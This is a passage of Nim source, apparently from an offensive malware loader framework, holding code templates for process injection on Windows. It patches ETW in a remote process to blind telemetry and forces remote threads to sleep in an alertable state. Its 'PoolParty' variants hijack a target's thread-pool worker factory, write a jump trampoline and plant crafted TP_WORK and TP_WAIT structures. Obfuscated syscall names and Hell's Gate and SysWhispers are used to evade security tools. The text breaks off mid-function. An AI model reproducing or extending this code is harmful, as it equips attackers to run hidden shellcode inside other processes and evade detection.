if not NT_SUCCESS(status):
when defined(verbose):
echo obf("[-] Failed to allocate memory.")
else:
when defined(verbose):
echo obf("[*] Applying Syscall ETW patch")
var bytesWritten: SIZE_T
var outLength: SIZE_T
status = oqiazasusjk(hProcss,RemoteProc,unsafeAddr patch,patch.len,addr outLength)
if not NT_SUCCESS(status):
when defined(verbose):
echo obf("[-] Failed to write memory.")
else:
when defined(verbose):
echo obf("[+] NtWriteVirtualMemory Succeed!")
status = uashdiasdj(hProcss,addr protectAddress,addr friendlycodeLength,cast[ULONG](t),addr op)
if not NT_SUCCESS(status):
when defined(verbose):
echo obf("[-] Failed to allocate memory.")
else:
when defined(verbose):
echo obf("[+] OldProtect set back")
disabled = true
return disabled
else:
when defined(Hellsgate):
if getSyscall(ntProtectTable):
syscall = ntProtectTable.wSysCall
else:
when defined(verbose):
echo obf("[-] Failed to find opcode for NtProtectVirtualMemory")
status = NtProtectVirtualMemory(hProcss, addr protectAddress,addr friendlycodeLength,0x04,addr t)
if not NT_SUCCESS(status):
when defined(verbose):
echo obf("[-] Failed to allocate memory.")
else:
when defined(verbose):
echo obf("[*] Applying Syscall ETW patch")
var bytesWritten: SIZE_T
when defined(Hellsgate):
if getSyscall(ntWriteTable):
syscall = ntWriteTable.wSysCall
else:
when defined(verbose):
echo obf("[-] Failed to find opcode for NtWriteVirtualMemory")
var outLength: SIZE_T
status = NtWriteVirtualMemory(hProcss,RemoteProc,unsafeAddr patch,patch.len,addr outLength)
if not NT_SUCCESS(status):
when defined(verbose):
echo obf("[-] Failed to write memory.")
else:
when defined(verbose):
echo obf("[+] NtWriteVirtualMemory Succeed!")
when defined(Hellsgate):
if getSyscall(ntProtectTable):
syscall = ntProtectTable.wSysCall
else:
when defined(verbose):
echo obf("[-] Failed to find opcode for NtProtectVirtualMemory")
status = NtProtectVirtualMemory(hProcss,addr protectAddress,addr friendlycodeLength,cast[ULONG](t),addr op)
if not NT_SUCCESS(status):
when defined(verbose):
echo obf("[-] Failed to allocate memory.")
else:
when defined(verbose):
echo obf("[+] OldProtect set back")
disabled = true
return disabled
when isMainModule:
var cid: CLIENT_ID
when not defined(spawninject):
var hProcssetw: HANDLE
var hProcHighPriv: HANDLE
var status: NTSTATUS
cid.UniqueProcess = remoteProcID
var oa: OBJECT_ATTRIBUTES
when defined(SysWhispers):
when not defined(spawninject):
status = opqiwepoausdasdjl(&hProcss,PROCESS_QUERY_INFORMATION,&oa, &cid)
# now use DuplicateHandle to elevate this to PROCESS_ALL_ACCESS
DuplicateHandle(-1, hProcss, -1, &hProcHighPriv, PROCESS_ALL_ACCESS, FALSE, 0)
when defined(verbose):
echo obf("[*] DuplicateHandle: "), toHex(status)
else:
when defined(Hellsgate):
if getSyscall(ntOpenTable):
syscall = ntOpenTable.wSysCall
else:
when defined(verbose):
echo obf("[-] Failed to find opcode for NtOpenProcess")
when not defined(spawninject):
status = NtOpenProcess(
&hProcssetw,
PROCESS_QUERY_INFORMATION,
&oa, &cid
)
when defined(verbose):
echo obf("[*] NtOpenProcess: "), toHex(status)
# now use DuplicateHandle to elevate this to PROCESS_ALL_ACCESS
when defined(Hellsgate):
if getSyscall(ntDuplicateTable):
syscall = ntDuplicateTable.wSysCall
else:
when defined(verbose):
echo obf("[-] Failed to find opcode for NtDuplicateObject")
status = NtDuplicateObject(-1, hProcssetw, -1, &hProcHighPriv, PROCESS_ALL_ACCESS, FALSE, 0)
when defined(verbose):
echo obf("[*] NtDuplicateObject: "), toHex(status)
when not defined(spawninject):
var procHandle: HANDLE = hProcHighPriv
else:
var procHandle: HANDLE = hProcHighPriv
success = RemotePatchETW(procHandle)
when defined(verbose):
echo obf("[*] ETW disabled in the remote process: ") & fmt"{bool(success)}"
"""
let RemoteLoadNTDLLStub* = """
# Ntdll.dll is always loaded, this made no sense
"""
let RemoteForceSleepStub* = """
proc remoteForceSleep(targetProcess: HANDLE): HANDLE =
# A long Sleep time, so that for any sleep-in-between time, the thread will still be in an alertable state
var friendlycode: array[3, char] = [char(0xFF), char(0xFF), char(0xFF)]
when defined(verbose):
echo obf("[*] Forcing Sleep for alertable state thread in the remote process: "), targetProcess
var tHandle: HANDLE
var ds: LPVOID
var status: NTSTATUS
var sc_size: SIZE_T = cast[SIZE_T](friendlycode.len)
when defined(SysWhispers):
status = oqiahsjynmxkla(targetProcess, &ds, 0, &sc_size,MEM_COMMIT,PAGE_EXECUTE_READWRITE)
when defined(verbose):
echo obf("[*] NtAllocateVirtualMemory: "), toHex(status), " ", toHex(ds)
var bytesWritten: SIZE_T
status = oqiazasusjk(targetProcess,ds,unsafeAddr friendlycode,sc_size-1,addr bytesWritten)
when defined(verbose):
echo obf("[*] NtWriteVirtualMemory: "), toHex(status)
echo obf(" \\-- bytes written: "), bytesWritten
echo obf("")
var pfnThreadRtn: LPTHREAD_START_ROUTINE = cast[LPTHREAD_START_ROUTINE](GetProcAddress(GetModuleHandle(obf("kernel32.dll")), obf("SleepEx")));
status = zuq8aztsdztausdgbh(&tHandle,THREAD_ALL_ACCESS,NULL,targetProcess,pfnThreadRtn,ds, FALSE, 0, 0, 0, NULL)
if(status == 0):
return tHandle
else:
return 0
else:
when defined(Hellsgate):
if getSyscall(ntAllocTable):
syscall = ntAllocTable.wSysCall
else:
when defined(verbose):
echo obf("[-] Failed to find opcode for NtAllocateVirtualMemory")
status = NtAllocateVirtualMemory(
targetProcess, &ds, 0, &sc_size,
MEM_COMMIT,
PAGE_READWRITE)
when defined(verbose):
echo obf("[*] NtAllocateVirtualMemory: "), toHex(status), " ", toHex(ds)
var bytesWritten: SIZE_T
when defined(Hellsgate):
if getSyscall(ntWriteTable):
syscall = ntWriteTable.wSysCall
else:
when defined(verbose):
echo obf("[-] Failed to find opcode for NtWriteVirtualMemory")
status = NtWriteVirtualMemory(
targetProcess,
ds,
unsafeAddr friendlycode,
sc_size-1,
addr bytesWritten)
when defined(verbose):
echo obf("[*] NtWriteVirtualMemory: "), toHex(status)
echo obf(" \\-- bytes written: "), bytesWritten
echo obf("")
when defined(verbose):
echo obf("[*] Going to clean local memory of decrypted shellcode")
# ptrDecText has to be overwritten with 0 for friendlycode.len bytes
var zeroSeq: seq[byte] = newSeq[byte](friendlycode.len)
moveMemory(ptrDecText, addr zeroSeq[0], friendlycode.len)
when defined(verbose):
echo obf("[*] Done.")
when defined(Hellsgate):
if getSyscall(ntProtectTable):
syscall = ntProtectTable.wSysCall
else:
when defined(verbose):
echo obf("[-] Failed to find opcode for NtProtectVirtualMemory")
var oldProtect: DWORD
var targetAddress: LPVOID = ds
status = NtProtectVirtualMemory(
targetProcess,
addr targetAddress,
&sc_size,
PAGE_READONLY,
addr oldProtect)
when defined(verbose):
echo obf("[*] NtProtectVirtualMemory: "), toHex(status)
when defined(DInvoke):
var pfnThreadRtn: LPTHREAD_START_ROUTINE = cast[LPTHREAD_START_ROUTINE](MyGetProcAddress(MyGetModuleHandleA(obf("kernel32.dll")), obf("SleepEx")))
else:
var pfnThreadRtn: LPTHREAD_START_ROUTINE = cast[LPTHREAD_START_ROUTINE](GetProcAddress(GetModuleHandleA(obf("kernel32.dll")), obf("SleepEx")))
when defined(Hellsgate):
if getSyscall(ntCreateTable):
syscall = ntCreateTable.wSysCall
else:
when defined(verbose):
echo obf("[-] Failed to find opcode for NtCreateThreadEx")
status = NtCreateThreadEx(
&tHandle,
THREAD_ALL_ACCESS,
NULL,
targetProcess,
pfnThreadRtn,
ds, FALSE, 0, 0, 0, NULL)
when defined(verbose):
echo obf("[*] NtCreateThreadEx: "), toHex(status)
#status = NtClose(tHandle)
if(status == 0):
return tHandle
else:
return 0
"""
let PoolpartyExecute* = """
proc ExecutePoolparty(pHandle: HANDLE,startPointer: LPVOID) =
proc NtQueryObjectWrap(x: HANDLE, y: OBJECT_INFORMATION_CLASS): ptr BYTE =
var InformationLength: ULONG = 0
var Ntstatus: NTSTATUS = STATUS_INFO_LENGTH_MISMATCH
# Information is a byte sequence with the length of y
var oinfoBuffer = VirtualAlloc(NULL, sizeof(OBJECT_TYPE_INFORMATION), MEM_COMMIT or MEM_RESERVE, PAGE_READWRITE)
Ntstatus = NtQueryObject(x, y, oinfoBuffer, InformationLength, addr InformationLength)
if (Ntstatus == 0):
#echo obf("[+] NtQueryObject success")
Sleep(100)
return cast[ptr BYTE](oinfoBuffer)
while Ntstatus == STATUS_INFO_LENGTH_MISMATCH:
#Information = cast[PBYTE](MSVCRT$realloc(Information, InformationLength))
#echo "NTQuery Length mismatch"
VirtualFree(oinfoBuffer, 0, MEM_RELEASE)
oinfoBuffer = VirtualAlloc(NULL, InformationLength, MEM_COMMIT or MEM_RESERVE, PAGE_READWRITE)
#Information = cast[ptr BYTE](realloc(Information, InformationLength))
#var Information2: seq[byte] = newSeq[byte](InformationLength)
#echo "REalloc done"
Ntstatus = NtQueryObject(x, y, oinfoBuffer, InformationLength, addr InformationLength)
#echo "status: ", toHex(Ntstatus)
if(Ntstatus == 0):
Sleep(100)
return cast[ptr BYTE](oinfoBuffer)
proc HijackProcessHandle(wsObjectType: PWSTR, p_hTarget: HANDLE, dwDesiredAccess: DWORD): HANDLE =
var Information: PBYTE = nil
var lhInfo: PROCESS_HANDLE_SNAPSHOT_INFORMATION
var phInfo: PPROCESS_HANDLE_SNAPSHOT_INFORMATION = addr lhInfo
var QueryBuffer = VirtualAlloc(NULL, sizeof(PROCESS_HANDLE_SNAPSHOT_INFORMATION), MEM_COMMIT or MEM_RESERVE, PAGE_READWRITE)
var size: ULONG = cast[ULONG](sizeof(PROCESS_HANDLE_SNAPSHOT_INFORMATION))
var InformationLength: ULONG = 0
var Ntstatus: NTSTATUS = STATUS_INFO_LENGTH_MISMATCH
Sleep(100)
Ntstatus = NtQueryInformationProcess(p_hTarget, PROCESS_INFORMATION_CLASS(ProcessHandleInformation), QueryBuffer, size, addr InformationLength)
# if fail, retry with new InformationLength
var test: int = 0
while (Ntstatus == STATUS_INFO_LENGTH_MISMATCH):
Sleep(100)
VirtualFree(QueryBuffer, 0, MEM_RELEASE)
QueryBuffer = VirtualAlloc(NULL, cast[SIZE_T](InformationLength), MEM_COMMIT or MEM_RESERVE, PAGE_READWRITE)
size = InformationLength
#var lhInfo2: PROCESS_HANDLE_SNAPSHOT_INFORMATION
#var phInfo2: PPROCESS_HANDLE_SNAPSHOT_INFORMATION = addr lhInfo2
#Information = cast[PBYTE](realloc(Information, InformationLength))
#var InformationLength2: ULONG = 0
Ntstatus = NtQueryInformationProcess(p_hTarget, PROCESS_INFORMATION_CLASS(ProcessHandleInformation), QueryBuffer, size, addr InformationLength)
if Ntstatus == 0:
phInfo = cast[PPROCESS_HANDLE_SNAPSHOT_INFORMATION](QueryBuffer)
test += 1
if test > 10:
break
if Ntstatus != 0:
when defined(verbose):
echo obf("[-] Still Failed")
echo toHex(Ntstatus)
return 0
var pProcessHandleInformation: PPROCESS_HANDLE_SNAPSHOT_INFORMATION = cast[PPROCESS_HANDLE_SNAPSHOT_INFORMATION](phInfo)
var p_hDuplicatedObject: HANDLE
Sleep(100)
for i in 0 ..< pProcessHandleInformation.NumberOfHandles:
var uncheckedArray: ptr UncheckedArray[PROCESS_HANDLE_TABLE_ENTRY_INFO] = cast[ptr UncheckedArray[PROCESS_HANDLE_TABLE_ENTRY_INFO]](addr pProcessHandleInformation.Handles[0])
# use it via uncheckedArray[i].HandleValue
var success: BOOL = DuplicateHandle(
p_hTarget,
cast[HANDLE](uncheckedArray[i].HandleValue),#pProcessHandleInformation.Handles[i].HandleValue), #tableEntrynoPointer.HandleValue#),
GetCurrentProcess(),
addr p_hDuplicatedObject,
dwDesiredAccess,
FALSE,
0)
var pObjectInformation: ptr BYTE = nil
Sleep(100)
if (p_hDuplicatedObject != 0):
pObjectInformation = NtQueryObjectWrap(p_hDuplicatedObject, cast[OBJECT_INFORMATION_CLASS](2))
var pObjectTypeInformation: PPUBLIC_OBJECT_TYPE_INFORMATION = cast[PPUBLIC_OBJECT_TYPE_INFORMATION](pObjectInformation)
# if wsObjectType != pObjectTypeInformation.TypeName.Buffer: continue
#echo "First: ", wsObjectType
if pObjectTypeInformation == nil:
continue
if pObjectTypeInformation.TypeName.Buffer == nil:
continue
#echo "Second: ", pObjectTypeInformation.TypeName.Buffer
if(wcscmp(wsObjectType,pObjectTypeInformation.TypeName.Buffer) != 0):
continue
when defined(verbose):
echo obf("[+] Found Hijack Handle")
return p_hDuplicatedObject
return 0
proc GetWorkerFactoryBasicInformation(hWorkerFactory: HANDLE): WORKER_FACTORY_BASIC_INFORMATION =
var WorkerInput2 #[QUERY_WORKERFACTORYINFOCLASS WorkerFactoryBasicInformation2]# : QUERY_WORKERFACTORYINFOCLASS = QUERY_WORKERFACTORYINFOCLASS.WorkerFactoryBasicInformation2
var WorkerFactoryInformation: WORKER_FACTORY_BASIC_INFORMATION
var status: NTSTATUS
status = NtQueryInformationWorkerFactory(hWorkerFactory, WorkerInput2, addr WorkerFactoryInformation, ULONG(sizeof(WorkerFactoryInformation)), nil)
return WorkerFactoryInformation
# HijackWorkerFactoryProcessHandle is equal to HijackProcessHandle with wsObjectType = "TpWorkerFactory"
proc SetupExecution(p_hWorkerFactory: HANDLE) =
when defined(Hellsgate):
if getSyscall(ntSetInformationWorkerFactoryTable):
syscall = ntSetInformationWorkerFactoryTable.wSysCall
else:
when defined(verbose):
echo obf("[-] Failed to find opcode for NtSetInformationWorkerFactory")
var WorkerFactoryMinimumThreadNumber: ULONG = 4
var WorkerFactoryInformationClass: SET_WORKERFACTORYINFOCLASS = SET_WORKERFACTORYINFOCLASS.WorkerFactoryThreadMinimum
var WorkerFactoryInformationLength: ULONG = ULONG(sizeof(ULONG))
var status: NTSTATUS
when defined(verbose):
echo obf("[+] Starting new worker and therefore leads to execution")
status = NtSetInformationWorkerFactory(p_hWorkerFactory, WorkerFactoryInformationClass, addr WorkerFactoryMinimumThreadNumber, WorkerFactoryInformationLength)
if (status != 0):
when defined(verbose):
echo obf("[-] Failed to set target process worker factory minimum threads")
quit(1)
else:
when defined(verbose):
echo obf("[+] Set target process worker factory minimum threads to: "), WorkerFactoryMinimumThreadNumber
proc HijackHandles(p_hWorkerFactory: HANDLE) =
var WorkerFactoryInformation: WORKER_FACTORY_BASIC_INFORMATION
WorkerFactoryInformation = GetWorkerFactoryBasicInformation(p_hWorkerFactory)
when defined(variant1):
var trampoline: seq[byte]
if defined(amd64):
trampoline = @[
byte(0x49), byte(0xBA), byte(0x00), byte(0x00), byte(0x00), byte(0x00), byte(0x00), byte(0x00), # mov r10, addr
byte(0x00),byte(0x00),byte(0x41), byte(0xFF),byte(0xE2) # jmp r10
]
var tempjumpaddr: uint64 = cast[uint64](startPointer)
copyMem(&trampoline[2] , &tempjumpaddr, 6)
elif defined(i386):
trampoline = @[
byte(0xB8), byte(0x00), byte(0x00), byte(0x00), byte(0x00), # mov eax, addr
byte(0x00),byte(0x00),byte(0xFF), byte(0xE0) # jmp eax
]
var tempjumpaddr: uint32 = cast[uint32](startPointer)
copyMem(&trampoline[1] , &tempjumpaddr, 3)
# Hijack target Worker Factory
#echo "Start hijack"
var p_hWorkerFactory: HANDLE = HijackProcessHandle("TpWorkerFactory", pHandle, WORKER_FACTORY_ALL_ACCESS)
if(p_hWorkerFactory == 0):
when defined(verbose):
echo obf("[-] Failed to hijack the target process worker factory")
quit(1)
else:
when defined(verbose):
echo obf("[+] Hijacked the target process worker factory")
# Get Worker Factory Information via NtQueryInformationWorkerFactory
var workerFactoryInformation: WORKER_FACTORY_BASIC_INFORMATION = GetWorkerFactoryBasicInformation(p_hWorkerFactory)
when defined(verbose):
echo obf("[+] Got Worker Factory Information.")
# Get start routine
var startRoutine: LPVOID = workerFactoryInformation.StartRoutine
when defined(verbose):
echo obf("[+] Got start routine")
when defined(Hellsgate):
if getSyscall(ntProtectTable):
syscall = ntProtectTable.wSysCall
else:
when defined(verbose):
echo obf("[-] Failed to find opcode for NtProtectVirtualMemory")
var sc_size: SIZE_T = cast[SIZE_T](trampoline.len)
var oldProtect: DWORD
var targetAddress: LPVOID = startRoutine
var status: NTSTATUS
status = NtProtectVirtualMemory(
pHandle,
addr targetAddress,
&sc_size,
PAGE_READWRITE,
addr oldProtect)
when defined(verbose):
echo obf("[*] NtProtectVirtualMemory: "), toHex(status)
echo obf(" \\-- old protection: "), toHex(oldProtect)
echo obf("")
when defined(Hellsgate):
if getSyscall(ntWriteTable):
syscall = ntWriteTable.wSysCall
else:
when defined(verbose):
echo obf("[-] Failed to find opcode for NtWriteVirtualMemory")
var bytesWritten: SIZE_T = 0
status = NtWriteVirtualMemory(
pHandle,
startRoutine,
addr trampoline[0],
trampoline.len,
addr bytesWritten)
when defined(verbose):
echo obf("[*] NtWriteVirtualMemory: "), toHex(status)
echo obf(" \\-- bytes written: "), bytesWritten
echo obf("")
when defined(Hellsgate):
if getSyscall(ntProtectTable):
syscall = ntProtectTable.wSysCall
else:
when defined(verbose):
echo obf("[-] Failed to find opcode for NtProtectVirtualMemory")
targetAddress = startRoutine
var oldProtect2: DWORD
sc_size = cast[SIZE_T](trampoline.len)
status = NtProtectVirtualMemory(
pHandle,
addr targetAddress,
&sc_size,
oldprotect,
addr oldProtect2)
when defined(verbose):
echo obf("[*] NtProtectVirtualMemory: "), toHex(status)
echo obf(" \\-- old protection: "), toHex(oldProtect2)
echo obf("")
if(status == 0):
when defined(verbose):
echo obf("[+] Successfully wrote Trampolin into start routine")
else:
when defined(verbose):
echo obf("[-] Failed to write Trampolin into start routine")
echo toHex(status)
quit(1)
#[
var bytesWritten: SIZE_T = 0
var success: BOOL = WriteProcessMemory(
pHandle,
startRoutine,
addr trampoline[0],
trampoline.len,
addr bytesWritten
)
if(success == 0):
when defined(verbose):
echo obf("[-] Failed to write Trampolin into start routine")
echo GetLastError()
quit(1)
else:
when defined(verbose):
echo obf("[+] Successfully wrote Trampolin into start routine")
]#
# Setup execution
SetupExecution(p_hWorkerFactory)
when defined(variant2):
# Hijack target Worker Factory
var p_hWorkerFactory: HANDLE = HijackProcessHandle("TpWorkerFactory", pHandle, WORKER_FACTORY_ALL_ACCESS)
if(p_hWorkerFactory == 0):
when defined(verbose):
echo obf("[-] Failed to hijack the target process worker factory")
quit(1)
else:
when defined(verbose):
echo obf("[+] Hijacked the target process worker factory")
# Get Worker Factory Information via NtQueryInformationWorkerFactory
var workerFactoryInformation: WORKER_FACTORY_BASIC_INFORMATION = GetWorkerFactoryBasicInformation(p_hWorkerFactory)
when defined(verbose):
echo obf("[+] Got Worker Factory Information.")
var targetTaskQueueHighPriorityList: LPVOID = cast[LPVOID](cast[uint64](workerFactoryInformation.StartParameter) + cast[uint64](0x1E0))
var pTpWork: LPVOID = cast[LPVOID](CreateThreadpoolWork(cast[PTP_WORK_CALLBACK](startPointer), nil, nil))
let ExchangeValue: int32 = 0x2
var ExchangeLPVOID: LPVOID = unsafeAddr ExchangeValue
copyMem(cast[LPVOID](pTpWork + 0x90), cast[LPVOID](addr workerFactoryInformation.StartParameter), 8)
copyMem(cast[LPVOID](pTpWork + 0xD8), cast[LPVOID](addr targetTaskQueueHighPriorityList), 8)
copyMem(cast[LPVOID](pTpWork + 0xE0), cast[LPVOID](addr targetTaskQueueHighPriorityList), 8)
copyMem(cast[LPVOID](pTpWork + 0xE8),ExchangeLPVOID, 8)
when defined(verbose):
echo obf("[+] Modified the TP_WORK structure to be associated with target process's TP_POOL")
#var pRemoteTpWork: LPVOID
#pRemoteTpWork = cast[LPVOID](VirtualAllocEx(pHandle, nil, 240#[SizeOf FullTpWork]#, MEM_COMMIT or MEM_RESERVE, PAGE_READWRITE))
# use NtAllocateVirtualMemory instead
when defined(Hellsgate):
if getSyscall(ntAllocTable):
syscall = ntAllocTable.wSysCall
else:
when defined(verbose):
echo obf("[-] Failed to find opcode for NtAllocateVirtualMemory")
var pRemoteTpWork: LPVOID = nil
var size: SIZE_T = cast[SIZE_T](240)#[SizeOf FullTpWork]#
var status: NTSTATUS = NtAllocateVirtualMemory(pHandle, addr pRemoteTpWork, 0, addr size, MEM_COMMIT or MEM_RESERVE, PAGE_READWRITE)
if(status != 0):
when defined(verbose):
echo obf("[-] Failed to allocate memory in the target process for the specially crafted TP_WORK structure")
quit(1)
else:
when defined(verbose):
echo obf("[+] Allocated memory in the target process for the specially crafted TP_WORK structure")
#var bytWritten: SIZE_T = 0
#success = WriteProcessMemory(pHandle, pRemoteTpWork, pTpWork, sizeof(FULL_TP_WORK), addr bytWritten)
#if(success == 0):
# quit(1)
# Use the same combination as above with NtProtect NtWrite NtProtect instead of WriteProcessMemory
var targetAddress: LPVOID = pRemoteTpWork
var oldProtect: DWORD
var sc_size: SIZE_T = 240#[SizeOf FullTpWork]#
when defined(Hellsgate):
if getSyscall(ntWriteTable):
syscall = ntWriteTable.wSysCall
else:
when defined(verbose):
echo obf("[-] Failed to find opcode for NtWriteVirtualMemory")
var bytesWritten: SIZE_T = 0
status = NtWriteVirtualMemory(
pHandle,
pRemoteTpWork,
pTpWork,
240#[SizeOf FullTpWork]#,
addr bytesWritten)
when defined(verbose):
echo obf("[*] NtWriteVirtualMemory: "), toHex(status)
echo obf(" \\-- bytes written: "), bytesWritten
echo obf("")
var RemoteWorkItemTaskList: LPVOID = (cast[LPVOID](pRemoteTpWork) + 0xD8)
#targetAddress = cast[LPVOID](cast[LPVOID](workerFactoryInformation.StartParameter) + 0x1E0)
#success = WriteProcessMemory(pHandle,targetAddress,addr RemoteWorkItemTaskList, sizeof(RemoteWorkItemTaskList), addr bytWritten)
#if(success == 0):
# when defined(verbose):
# echo obf("[-] Queue Entry one overwrite failed")
# echo GetLastError()
# quit(1)
# same one more time
when defined(Hellsgate):
if getSyscall(ntProtectTable):
syscall = ntProtectTable.wSysCall
else:
when defined(verbose):
echo obf("[-] Failed to find opcode for NtProtectVirtualMemory")
targetAddress = cast[LPVOID](cast[LPVOID](workerFactoryInformation.StartParameter) + 0x1E0)
var oldProtect3: DWORD
sc_size = cast[SIZE_T](8)
var protectAddress: LPVOID = targetAddress
status = NtProtectVirtualMemory(
pHandle,
addr protectAddress,
&sc_size,
PAGE_READWRITE,
addr oldProtect3)
when defined(verbose):
echo obf("[*] NtProtectVirtualMemory: "), toHex(status)
echo obf(" \\-- old protection: "), toHex(oldProtect3)
echo obf("")
when defined(Hellsgate):
if getSyscall(ntWriteTable):
syscall = ntWriteTable.wSysCall
else:
when defined(verbose):
echo obf("[-] Failed to find opcode for NtWriteVirtualMemory")
status = NtWriteVirtualMemory(
pHandle,
targetAddress,
addr RemoteWorkItemTaskList,
8,
addr bytesWritten)
when defined(verbose):
echo obf("[*] NtWriteVirtualMemory: "), toHex(status)
echo obf(" \\-- bytes written: "), bytesWritten
echo obf("")
when defined(Hellsgate):
if getSyscall(ntProtectTable):
syscall = ntProtectTable.wSysCall
else:
when defined(verbose):
echo obf("[-] Failed to find opcode for NtProtectVirtualMemory")
targetAddress = cast[LPVOID](cast[LPVOID](workerFactoryInformation.StartParameter) + 0x1E0)
var oldProtect4: DWORD
protectAddress = targetAddress
sc_size = cast[SIZE_T](8)
status = NtProtectVirtualMemory(
pHandle,
addr protectAddress,
&sc_size,
oldProtect3,
addr oldProtect4)
when defined(verbose):
echo obf("[*] NtProtectVirtualMemory: "), toHex(status)
echo obf(" \\-- old protection: "), toHex(oldProtect4)
echo obf("")
#targetAddress = cast[LPVOID](cast[LPVOID](workerFactoryInformation.StartParameter) + 0x1E8)
#success = WriteProcessMemory(pHandle,targetAddress,addr RemoteWorkItemTaskList, sizeof(RemoteWorkItemTaskList), addr bytWritten)
#if(success == 0):
# when defined(verbose):
# echo obf("[-] Queue Entry two overwrite failed")
# echo GetLastError()
# quit(1)
# and one more
when defined(Hellsgate):
if getSyscall(ntProtectTable):
syscall = ntProtectTable.wSysCall
else:
when defined(verbose):
echo obf("[-] Failed to find opcode for NtProtectVirtualMemory")
targetAddress = cast[LPVOID](cast[LPVOID](workerFactoryInformation.StartParameter) + 0x1E8)
var oldProtect5: DWORD
sc_size = cast[SIZE_T](8)
protectAddress = targetAddress
status = NtProtectVirtualMemory(
pHandle,
addr protectAddress,
&sc_size,
PAGE_READWRITE,
addr oldProtect5)
when defined(verbose):
echo obf("[*] NtProtectVirtualMemory: "), toHex(status)
echo obf(" \\-- old protection: "), toHex(oldProtect5)
echo obf("")
when defined(Hellsgate):
if getSyscall(ntWriteTable):
syscall = ntWriteTable.wSysCall
else:
when defined(verbose):
echo obf("[-] Failed to find opcode for NtWriteVirtualMemory")
status = NtWriteVirtualMemory(
pHandle,
targetAddress,
addr RemoteWorkItemTaskList,
8,
addr bytesWritten)
when defined(verbose):
echo obf("[*] NtWriteVirtualMemory: "), toHex(status)
echo obf(" \\-- bytes written: "), bytesWritten
echo obf("")
when defined(Hellsgate):
if getSyscall(ntProtectTable):
syscall = ntProtectTable.wSysCall
else:
when defined(verbose):
echo obf("[-] Failed to find opcode for NtProtectVirtualMemory")
targetAddress = cast[LPVOID](cast[LPVOID](workerFactoryInformation.StartParameter) + 0x1E8)
var oldProtect6: DWORD
sc_size = 8
protectAddress = targetAddress
status = NtProtectVirtualMemory(
pHandle,
addr protectAddress,
&sc_size,
oldProtect5,
addr oldProtect6)
when defined(verbose):
echo obf("[*] NtProtectVirtualMemory: "), toHex(status)
echo obf(" \\-- old protection: "), toHex(oldProtect6)
echo obf("")
when defined(verbose):
echo obf("[+] Modified the target process's TP_POOL task queue list entry to point to the specially crafted TP_WORK")
when defined(variant3):
var pTpWait: LPVOID = cast[LPVOID](CreateThreadpoolWait(cast[PTP_WAIT_CALLBACK](startPointer), nil, nil))
when defined(verbose):
echo obf("[+] Created TP_WAIT structure associated with the shellcode")
echo obf("------------------------------------------------------------------------------------\r\n")
#var pRemoteTpWait: PVOID
#pRemoteTpWait = cast[PVOID](VirtualAllocEx(pHandle, nil, 472 #[sizeof(FULL_TP_WAIT)]#, MEM_COMMIT or MEM_RESERVE, PAGE_READWRITE))
# use NtAllocateVirtualMemory instead
when defined(Hellsgate):
if getSyscall(ntAllocTable):
syscall = ntAllocTable.wSysCall
else:
when defined(verbose):
echo obf("[-] Failed to find opcode for NtAllocateVirtualMemory")
var pRemoteTpWait: LPVOID = nil
var size: SIZE_T = cast[SIZE_T](472)#[sizeof(FULL_TP_WAIT)]#
var status: NTSTATUS = NtAllocateVirtualMemory(pHandle, addr pRemoteTpWait, 0, addr size, MEM_COMMIT or MEM_RESERVE, PAGE_READWRITE)
if(status != 0):
when defined(verbose):
echo obf("[-] Failed to allocate memory in the target process for the specially crafted TP_WAIT structure")
quit(1)
else:
when defined(verbose):
echo obf("[+] Allocated memory in the target process for the specially crafted TP_WAIT structure")
#var bytWritten: SIZE_T = 0
#success = WriteProcessMemory(pHandle, pRemoteTpWait, pTpWait, 472#[sizeof(FULL_TP_WAIT)]#, addr bytWritten)
#if(success == 0):
# when defined(verbose):
# echo obf("[-] Failed to write the specially crafted TP_WAIT structure to the target process")
# quit(1)
# as above with NT functions
var targetAddress: LPVOID = pRemoteTpWait
var oldProtect: DWORD
var sc_size: SIZE_T = 472#[sizeof(FULL_TP_WAIT)]#
when defined(Hellsgate):
if getSyscall(ntWriteTable):
syscall = ntWriteTable.wSysCall
else:
when defined(verbose):
echo obf("[-] Failed to find opcode for NtWriteVirtualMemory")
var bytesWritten: SIZE_T = 0
status = NtWriteVirtualMemory(
pHandle,
pRemoteTpWait,
pTpWait,
472#[sizeof(FULL_TP_WAIT)]#,
addr bytesWritten)
when defined(verbose):
echo obf("[*] NtWriteVirtualMemory: "), toHex(status)
echo obf(" \\-- bytes written: "), bytesWritten
echo obf("")
#var pRemoteTpDirect: PVOID
#pRemoteTpDirect = cast[PVOID](VirtualAllocEx(pHandle, nil, 72#[sizeof(TP_DIRECT)]#, MEM_COMMIT or MEM_RESERVE, PAGE_READWRITE))
# NtAllocateVirtualMemory again
when defined(Hellsgate):
if getSyscall(ntAllocTable):
syscall = ntAllocTable.wSysCall
else:
when defined(verbose):
echo obf("[-] Failed to find opcode for NtAllocateVirtualMemory")
var pRemoteTpDirect: LPVOID = nil
size = cast[SIZE_T](72)#[sizeof(TP_DIRECT)]#
status = NtAllocateVirtualMemory(pHandle, addr pRemoteTpDirect, 0, addr size, MEM_COMMIT or MEM_RESERVE, PAGE_READWRITE)
if(status != 0):
when defined(verbose):
echo obf("[-] Failed to allocate memory in the target process for the specially crafted TP_DIRECT structure")
quit(1)
else:
when defined(verbose):
echo obf("[+] Allocated memory in the target process for the specially crafted TP_DIRECT structure")
#var pTpWait_Direct: PVOID = cast[PVOID](pTpWait + 0x188)
#success = WriteProcessMemory(pHandle, pRemoteTpDirect, pTpWait_Direct, 72#[sizeof(TP_DIRECT)]#, addr bytWritten)
#if(success == 0):
# when defined(verbose):
# echo obf("[-] Failed to write the TP_DIRECT structure to the target process")
# quit(1)
#else:
# when defined(verbose):
# echo obf("[+] Successfully written the TP_DIRECT structure to the target process")
when defined(Hellsgate):
if getSyscall(ntWriteTable):
syscall = ntWriteTable.wSysCall
else:
when defined(verbose):
echo obf("[-] Failed to find opcode for NtWriteVirtualMemory")
# as above with NT functions
targetAddress = pRemoteTpDirect
sc_size = cast[SIZE_T](72)#[sizeof(TP_DIRECT)]#
status = NtWriteVirtualMemory(
pHandle,
pRemoteTpDirect,
cast[LPVOID](pTpWait + 0x188),
72#[sizeof(TP_DIRECT)]#,
addr bytesWritten)
when defined(verbose):
echo obf("[*] NtWriteVirtualMemory: "), toHex(status)
echo obf(" \\-- bytes written: "), bytesWritten
echo obf("")
var p_hEvent: HANDLE = CreateEvent(nil, FALSE, FALSE, "PoolParty")
if(p_hEvent == 0):
when defined(verbose):
echo obf("[-] Failed to create event with name `PoolPartyEvent`")
